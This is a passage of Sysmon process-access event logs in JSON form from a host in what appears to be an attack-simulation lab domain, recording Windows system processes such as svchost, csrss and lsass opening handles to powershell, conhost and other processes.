indows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1240","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{00000000-0000-0000-0000-000000000000}","TargetProcessId":"2184","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":934,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {00000000-0000-0000-0000-000000000000}\r\nTargetProcessId: 2184\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{00000000-0000-0000-0000-000000000000}","TargetProcessId":"2184","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":935,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":936,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":937,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1240\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {00000000-0000-0000-0000-000000000000}\r\nTargetProcessId: 2192\r\nTargetImage: C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1240","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{00000000-0000-0000-0000-000000000000}","TargetProcessId":"2192","TargetImage":"C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":938,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.469\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {00000000-0000-0000-0000-000000000000}\r\nTargetProcessId: 2192\r\nTargetImage: C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.469","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{00000000-0000-0000-0000-000000000000}","TargetProcessId":"2192","TargetImage":"C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":939,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.485\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001087400100}\r\nTargetProcessId: 2204\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.485","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001087400100}","TargetProcessId":"2204","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":940,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.485\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001086400100}\r\nTargetProcessId: 2212\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.485","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001086400100}","TargetProcessId":"2212","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":941,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.485\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.485","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":942,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.485\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.485","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53d